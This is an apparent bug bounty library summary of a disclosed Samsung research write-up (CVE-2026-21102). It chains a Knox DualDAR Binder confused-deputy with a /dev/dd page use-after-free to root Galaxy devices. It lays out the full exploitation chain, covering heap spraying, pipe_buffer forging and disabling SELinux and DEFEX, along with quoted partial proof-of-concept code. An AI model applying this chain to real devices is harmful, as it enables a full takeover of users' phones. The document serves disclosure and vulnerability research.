# OEMpocalypse Part 2: Rooting Samsung Flagships via Knox DualDAR

Confused-deputy in Knox DualDARComnService plus a page UAF in /dev/dd let a zero-permission app root Galaxy S23/S26 devices.

- Payout: Research
- Severity: high
- Program: Samsung
- Write-up by: @calif_io
- Disclosed: 2026-11-26
- CVE: CVE-2026-21102
- Write-up quality: 10/10
- Original: https://calif.io/research/oempocalypse-part-2
- Library page: https://bugbountylibrary.com/r/blog%3Acalif-io-research-oempocalypse-part-2
- Tags: area:mobile domain:mobile impact:privesc impact:rce kind:research platform:research sev:high tech:linux technique:race-window technique:source-review vuln:access-control vuln:memory-corruption vuln:privilege-escalation

**Target:** /dev/dd kernel driver and DualDARComnService Binder service
**Root cause:** relayAsync re-posts commands to a background thread, so Binder.getCallingUid() returns system_server's UID and the UID gate accepts untrusted callers; separately, dd_info_try_free frees the metadata page without zapping the VM_PFNMAP mapping installed by remap_pfn_range, leaving a dangling userspace alias.
**Steps:**
1. Call `relayAsync` on `knox_adapter_service` with `SYSTEM_PROXY_AGENT`, `DAEMON_PROXY_SERVICE`, `LOAD_CLIENT_LIBRARY` and `CRYPTO_PATH` pointing to bundled `libpayload.so`; constructor runs in dualdard (UID 5250).
2. Payload opens `/dev/dd`, `DD_IOCTL_REGISTER_CRYPTO_TASK`, mmaps control/metadata/plaintext/ciphertext regions.
3. App creates trigger file under USER_SPACE_CRYPTO policy, writes, `posix_fadvise(POSIX_FADV_DONTNEED)`, unlinks.
4. Payload `DD_IOCTL_WAIT_CRYPTO_REQUEST` maps metadata page via `remap_pfn_range`; app closes fd to evict inode, `__free_page` frees page without zapping VMA.
5. Spray order-0 sk_buff fragment pages with cookie `(0xDEADBEEFULL << 32) | i`, verify via alias.
6. Release matched socket, reclaim page as two-entry `pipe_buffer[]` slab via `fcntl(F_SETPIPE_SZ, 2*PAGE_SIZE)`, verify ops/page/flags/len.
7. Forge `pipe_buffer->{page,offset,len}` for arbitrary physical R/W; resolve LOAD_PA by scanning for `init_uts_ns` sysname 'Linux'.
8. Clear `selinux_state.enforcing`, patch page-cache libselinux.so, load kprobe module forcing `task_defex_enforce` allow path for root shell.
**How found:** Noticed dd_proc holds the userspace mapping while a separate dd_info owns the physical page, a lifetime split prone to error; code review of remap_pfn_range (no page ref) versus dd_info_try_free (no zap_vma_ptes) confirmed the missing lifetime dependency. The Binder identity loss was spotted in relayAsync's background post before the UID check.
**Exploitation:** Zero-permission app uses one Binder transaction to load a native library into the privileged dualdard daemon, gaining /dev/dd access. Coordinated via inotify barriers across SELinux domains, it triggers the page UAF, reclaims the freed page as sk_buff fragments then pipe_buffer slab, and forges pipe buffers for arbitrary physical R/W. It then disables SELinux, patches libselinux.so in page cache to get init to run injected code as uid 0, and loads a kprobe module to bypass DEFEX, yielding root on bootloader-locked devices.
**Escalation:** Chains sandbox escape (confused deputy) to reach the driver, page UAF to arbitrary kernel R/W, then defeats RKP via page-cache patching and DEFEX via kprobe to obtain a usable root shell.
**Insight:** When a driver maps pages with remap_pfn_range into a VM_PFNMAP VMA, check whether the owning object's free path calls zap_vma_ptes/unmap_mapping_range; a separate struct holding the mapping vs the page owner is a strong UAF smell. For Binder, look for async re-posts that move work off the transaction thread before Binder.getCallingUid() checks.

## Proof of concept (copied exactly from the original report)

**Binder transaction loading attacker library into dualdard**

```
// Poc.java -- plain untrusted_app, no permissions required
void sandbox_escape(void)
{
 IBinder b = ServiceManager.getService("knox_adapter_service");
 Bundle args = new Bundle();
 args.putString("CRYPTO_PATH", libPath); // our libpayload.so
 Parcel data = Parcel.obtain(), reply = Parcel.obtain();
 data.writeInterfaceToken("com.samsung.android.knox.dar.ddar.proxy.IProxyService");
 data.writeString("SYSTEM_PROXY_AGENT");
 data.writeString("DAEMON_PROXY_SERVICE");
 data.writeString("LOAD_CLIENT_LIBRARY");
 data.writeInt(1);
 args.writeToParcel(data, 0);
 b.transact(5 /* relayAsync */, data, reply, 0); // no caller check survives the relay
```

**Idealized single-process page UAF trigger**

```
void trigger(void)
{
 fd = open("/dev/dd", O_RDWR);
 ioctl(fd, DD_IOCTL_REGISTER_CRYPTO_TASK, ...); // [1] register crypto task
 control = mmap(NULL, ..., fd, DD_MMAP_CONTROL_OFFSET); // [2] establish shared regions
 metadata = mmap(NULL, ..., fd, DD_MMAP_METADATA_OFFSET);
 plaintext = mmap(NULL, ..., fd, DD_MMAP_PLAINTEXT_OFFSET);
 ciphertext = mmap(NULL, ..., fd, DD_MMAP_CIPHERTEXT_OFFSET);
 ioctl(fd, DD_IOCTL_UPDATE_LOCK_STATE, ...); // [3] unlock: state = 0


 pf = open(trigger_file, O_WRONLY | O_CREAT, 0600); // [4] allocate metadata page -> alloc_dd_info
 write(pf, buf, 8);
 posix_fadvise(pf, 0, 0, POSIX_FADV_DONTNEED); // [5] initiate writeback
 unlink(trigger_file);


 ioctl(fd, DD_IOCTL_WAIT_CRYPTO_REQUEST, ...); // [6] map metadata page -> __get_md_page
 ioctl(fd, DD_IOCTL_SUBMIT_CRYPTO_RESULT, ...);
 ioctl(fd, DD_IOCTL_UPDATE_LOCK_STATE, ...); // [7] restore: state = 1


 close(pf); // [8] allow inode eviction -> dd_info_try_free
 *(volatile uint64_t *)metadata; // [9] access the freed page
```

**inotify barrier synchronization between app and payload**

```
// app side (jni_poc.c)
ino_fd = inotify_init1(IN_CLOEXEC);
wd1 = inotify_add_watch(ino_fd, "/system/usr/share/zoneinfo/tzdata", IN_OPEN);
wd2 = inotify_add_watch(ino_fd, "/system/usr/share/zoneinfo/tz_version", IN_OPEN);
read(ino_fd, buf, sizeof(buf)); // blocks until the payload open()s the file


// payload side (payload.c), inside dualdard
close(open("/system/usr/share/zoneinfo/tzdata", O_RDONLY)); // fires IN_OPEN -> wakes the app
```

